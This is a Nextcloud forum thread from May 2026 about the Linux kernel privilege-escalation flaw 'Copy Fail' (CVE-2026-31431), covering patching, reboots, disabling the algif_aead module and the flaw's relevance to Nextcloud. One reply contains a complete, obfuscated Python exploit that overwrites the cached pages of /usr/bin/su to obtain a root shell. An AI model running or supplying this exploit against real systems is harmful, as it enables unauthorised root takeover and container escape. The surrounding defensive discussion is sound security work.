# Linux Kernel Vulnerability “Copy Fail” (CVE-2026-31431) — Immediate Action Required

**URL:** <https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987>\
**Category:** 📰 News\
**Tags:** security\
**Created:** [May 1, 2026, 6:40pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987 "2026-05-01T18:40:30Z")\
**Posts on this page:** 14\
**Page:** 1

<div class="post-metadata">

**Author:** ![ernolf](https://help.nextcloud.com/user_avatar/help.nextcloud.com/ernolf/32/77874_2.png) [@ernolf](https://help.nextcloud.com/u/ernolf)\
**Post date:** [May 1, 2026, 6:40pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/1 "2026-05-01T18:40:30Z")

</div>

### 🚨 URGENT: Kernel Vulnerability “Copy Fail” (CVE-2026-31431) — Immediate Action Required

A critical Linux kernel vulnerability known as **“Copy Fail” (CVE-2026-31431)** is currently being actively discussed and already has **public, reliable exploit code** available.

This is **not theoretical**. This is **not niche**.  
If your system is vulnerable and an attacker gains _any_ form of local access, **root compromise is trivial**.

* * *

## 🔥 Why this is exceptionally dangerous

- Affects Linux kernels going back **many years**
- Exploitation is **deterministic** (no race conditions, no guessing)
- Works across distributions with little to no modification
- Leaves **no traces on disk** (file integrity checks won’t help)

> This is effectively: _one exploit → root on almost everything_

* * *

## 🧱 Container users: You are NOT safe

This vulnerability exists in the **kernel itself**.

That means:

- Docker, Podman, LXC, Kubernetes, etc. **do NOT provide protection**
- A compromised container can **escape to the host**
- From there: full system takeover

> If you rely on containers as a security boundary, assume that boundary is gone.

* * *

## 🛠 The uncomfortable truth: there is ONLY ONE fix

There are:

- ❌ no reliable mitigations
- ❌ no configuration workarounds
- ❌ no “we’ll deal with it later” option

✅ **The ONLY fix is:**

1. Install a **patched kernel**
2. **REBOOT**

> If you have not rebooted into a patched kernel, your system is still vulnerable.

* * *

## ⏱ Reality check

From years of experience in this forum, many systems are:

- months behind on updates
- running old kernels
- rarely rebooted

That approach is **no longer acceptable** in this case.

> **Yesterday was already too late.**

* * *

## 🧠 Simplified exploit flow

```mermaid
flowchart TD
    A[Unprivileged User or Compromised App] --> B[Trigger AF ALG Crypto Interface]
    B --> C[Abuse splice behavior]
    C --> D[Overwrite Page Cache of target binary]
    D --> E[Execute modified SUID binary]
    E --> F[Root shell]

```

Key detail:  
The attacker modifies **memory-backed file pages** , not the file on disk — making detection extremely difficult.

* * *

## 📌 What you must do NOW

- Update your system:

- Ensure a **patched kernel** is installed

- **Reboot immediately**

- Verify the running kernel version (`uname -r`)

* * *

## 🔗 Further reading

- Official overview: [https://copy.fail/](https://copy.fail/)
- CVE entry: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31431](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31431)
- Technical analysis (Tenable): [Copy Fail (CVE-2026-31431): Linux Kernel Privilege Escalation FAQ | Tenable®](https://www.tenable.com/blog/copy-fail-cve-2026-31431-frequently-asked-questions-about-linux-kernel-privilege-escalation)

* * *

## ⚠ Final words

If your system is exposed to:

- web applications
- user uploads
- shared hosting
- containers

…then you should assume this vulnerability is **relevant to you**.

Do not wait.  
Do not postpone.  
**Patch. Reboot. Verify.**

* * *

ernolf

---

<div class="post-metadata">

**Author:** ![rakekniven](https://help.nextcloud.com/user_avatar/help.nextcloud.com/rakekniven/32/67096_2.png) [@rakekniven](https://help.nextcloud.com/u/rakekniven)\
**Post date:** [May 1, 2026, 9:18pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/2 "2026-05-01T21:18:08Z")

</div>

Hey @ernolf!

thanks for this topic.

Take action please.

---

<div class="post-metadata">

**Author:** ![scubamuc](https://help.nextcloud.com/user_avatar/help.nextcloud.com/scubamuc/32/63165_2.png) [@scubamuc](https://help.nextcloud.com/u/scubamuc)\
**Post date:** [May 1, 2026, 9:20pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/3 "2026-05-01T21:20:34Z")

</div>

Hey @ernolf

THX 👍

> [@ernolf](#):
>
> Do not wait.  
> Do not postpone.  
> **Patch. Reboot. Verify.**

done ✔

---

<div class="post-metadata">

**Author:** ![JimmyKater](https://help.nextcloud.com/user_avatar/help.nextcloud.com/jimmykater/32/4850_2.png) [@JimmyKater](https://help.nextcloud.com/u/JimmyKater)\
**Post date:** [May 2, 2026, 7:28pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/4 "2026-05-02T19:28:19Z")

</div>

> [@ernolf](#):
>
> apt full-upgrade

hold your horses, mate!  
not every full upgrade goes smoothly with NC installed.

but in general - you are right. Thanks for your warning!

---

<div class="post-metadata">

**Author:** ![hairydog](https://help.nextcloud.com/letter_avatar/hairydog/32/6_22734026db12803ebb3e059622ac3534.png) [@hairydog](https://help.nextcloud.com/u/hairydog)\
**Post date:** [May 2, 2026, 9:04pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/5 "2026-05-02T21:04:51Z")

</div>

As fas as I know, the fix for Bookworm hasn’t been released yet.

---

<div class="post-metadata">

**Author:** ![SysKeeper](https://help.nextcloud.com/letter_avatar/syskeeper/32/6_22734026db12803ebb3e059622ac3534.png) [@SysKeeper](https://help.nextcloud.com/u/SysKeeper)\
**Post date:** [May 2, 2026, 10:33pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/6 "2026-05-02T22:33:37Z")

</div>

It has, see [https://security-tracker.debian.org/tracker/CVE-2026-31431](https://security-tracker.debian.org/tracker/CVE-2026-31431)  
Also there are workarounds available to disable the affected module.  
Please keep in mind that some kind of code execution is still needed.

---

<div class="post-metadata">

**Author:** ![misc](https://help.nextcloud.com/letter_avatar/misc/32/6_22734026db12803ebb3e059622ac3534.png) [@misc](https://help.nextcloud.com/u/misc)\
**Post date:** [May 5, 2026, 6:44pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/7 "2026-05-05T18:44:14Z")

</div>

That was a very poorly generated news post. It stirs up fear, but doesn’t spell out what copy.fail is or how it relates to Nextcloud.

- This is not a Nextcloud or PHP issue.
- This is a privilege escalation attack, which means it must be run as a user on the underlying system.
- See this python example as clearly explained on [https://copy.fail](https://copy.fail), in addition to various mitigations. This is a real example of the exploit in python, which you can test on your machine.

```auto

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

```

- What it does is elevate an existing user to root admin.
- This means you would need shell access or some account on the server to then escalate.
- Are you giving people SSH access to your server?
- Are you giving people user accounts on your server directly, outside of Nextcloud?
- etc.

It is an important problem, but it also does not explicitly mean Nextcloud itself is compromised and you should randomly upgrade or freak out… do a search of your Linux distribution to see the status of how upgrades and mitigations are addressing copy.fail first. If you are running the affected subsytem, it can be disabled even without upgrading; some distributions are still working through this.

Here is an AI explanation, to match original post:

### How Copy.fail relates to Nextcloud

**Copy.fail (CVE‑2026‑31431)** is a **Linux kernel local privilege‑escalation vulnerability** that allows any unprivileged local user to write controlled bytes into the **page cache** of any readable file, including **setuid binaries** , and escalate to root.

Nextcloud itself is **not directly affected** because:

- It is a **PHP application** , not a kernel component.

- It does not use the vulnerable `algif_aead` crypto subsystem.

- It does not expose any direct attack surface for Copy.fail.

However, **Nextcloud runs on top of Linux** , so the vulnerability can still matter depending on your deployment model.

---

<div class="post-metadata">

**Author:** ![hairydog](https://help.nextcloud.com/letter_avatar/hairydog/32/6_22734026db12803ebb3e059622ac3534.png) [@hairydog](https://help.nextcloud.com/u/hairydog)\
**Post date:** [May 5, 2026, 7:10pm UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/8 "2026-05-05T19:10:03Z")

</div>

If the post was to be helpful, it would have given the mitigation, which is to (as root) :

rmmod algif\_aead 2\>/dev/null || true

And the fix: if on Debian, make sure that /etc/apt/sources.list has bookworm-security in its list (or similar for your version of Debian) and:

apt update && apt -y full-upgrade

Then, if the kernel was updated by this:

sudo reboot

---

<div class="post-metadata">

**Author:** ![bb77](https://help.nextcloud.com/letter_avatar/bb77/32/6_22734026db12803ebb3e059622ac3534.png) [@bb77](https://help.nextcloud.com/u/bb77)\
**Post date:** [May 6, 2026, 6:01am UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/9 "2026-05-06T06:01:56Z")

</div>

> [@misc](#):
>
> Are you giving people SSH access to your server?

Sorry, but you don’t necessarily need shell access to exploit this vulnerability. Any RCE (remote code execution) vulnerability in Nextcloud or PHP will do. If an attacker somehow manages to execute arbitrary code on a system, this vulnerability can be exploited.

> [@misc](#):
>
> However, **Nextcloud runs on top of Linux** , so the vulnerability can still matter depending on your deployment model.

Exactly. 😉

---

<div class="post-metadata">

**Author:** ![bb77](https://help.nextcloud.com/letter_avatar/bb77/32/6_22734026db12803ebb3e059622ac3534.png) [@bb77](https://help.nextcloud.com/u/bb77)\
**Post date:** [May 6, 2026, 6:18am UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/10 "2026-05-06T06:18:16Z")

</div>

> [@hairydog](#):
>
> rmmod algif\_aead 2\>/dev/null || true

No, that alone is not a reliable mitigation.

This does not guarantee that the module will actually be unloaded if it is already in use, nor that it will not be reloaded after rebooting the system. To be on the safe side, you should also blacklist it:

```auto
echo “blacklist algif_aead” > /etc/modprobe.d/blacklist-algif.conf

```

However, the best approach is to update your system, as already mentioned in the original post. By now, most distributions should offer fixed kernel versions.

---

<div class="post-metadata">

**Author:** ![bb77](https://help.nextcloud.com/letter_avatar/bb77/32/6_22734026db12803ebb3e059622ac3534.png) [@bb77](https://help.nextcloud.com/u/bb77)\
**Post date:** [May 6, 2026, 6:42am UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/11 "2026-05-06T06:42:32Z")

</div>

Oh, and by the way. As it happens, they just discovered a potential RCE vulnerability in Apache. If this can actually be exploited, it could be pretty disastrous when combined with CopyFail.

[https://www.cve.org/CVERecord?id=CVE-2026-23918](https://www.cve.org/CVERecord?id=CVE-2026-23918)

[https://thehackernews.com/2026/05/critical-apache-http2-flaw-cve-2026.html](https://thehackernews.com/2026/05/critical-apache-http2-flaw-cve-2026.html)

[https://help.nextcloud.com/t/critical-apache-cve-2026-23918-aio-impcated/244139](https://help.nextcloud.com/t/critical-apache-cve-2026-23918-aio-impcated/244139)

---

<div class="post-metadata">

**Author:** ![Arthur-sib](https://help.nextcloud.com/letter_avatar/arthur-sib/32/6_22734026db12803ebb3e059622ac3534.png) [@Arthur-sib](https://help.nextcloud.com/u/Arthur-sib)\
**Post date:** [May 7, 2026, 1:51am UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/12 "2026-05-07T01:51:25Z")

</div>

> [@bb77](#):
>
> By now, most distributions should offer fixed kernel versions.

Unfortunately, Ubuntu has not yet released any patches for this vulnerability. [CVE-2026-31431 | Ubuntu](https://ubuntu.com/security/CVE-2026-31431)

---

<div class="post-metadata">

**Author:** ![bb77](https://help.nextcloud.com/letter_avatar/bb77/32/6_22734026db12803ebb3e059622ac3534.png) [@bb77](https://help.nextcloud.com/u/bb77)\
**Post date:** [May 7, 2026, 6:15am UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/13 "2026-05-07T06:15:33Z")

</div>

They have released midigations for all affected versions on April 30: [Fixes available for CVE-2026-31431 (Copy Fail) Linux Kernel Local Privilege Escalation Vulnerability | Ubuntu](https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available)

```auto
apt-get changelog kmod

```

```auto
kmod (31+20240202-2ubuntu7.2) noble-security; urgency=medium

  * Disable loading of algif_aead module to mitigate CVE-2026-31431
    (LP: #2150743)
    - debian/modprobe.d/disable-algif_aead.conf

```

---

<div class="post-metadata">

**Author:** ![system](https://help.nextcloud.com/user_avatar/help.nextcloud.com/system/32/29333_2.png) [@system](https://help.nextcloud.com/u/system)\
**Post date:** [May 10, 2026, 6:16am UTC](https://help.nextcloud.com/t/linux-kernel-vulnerability-copy-fail-cve-2026-31431-immediate-action-required/243987/14 "2026-05-10T06:16:06Z")

</div>

This topic was automatically closed 3 days after the last reply. New replies are no longer allowed.
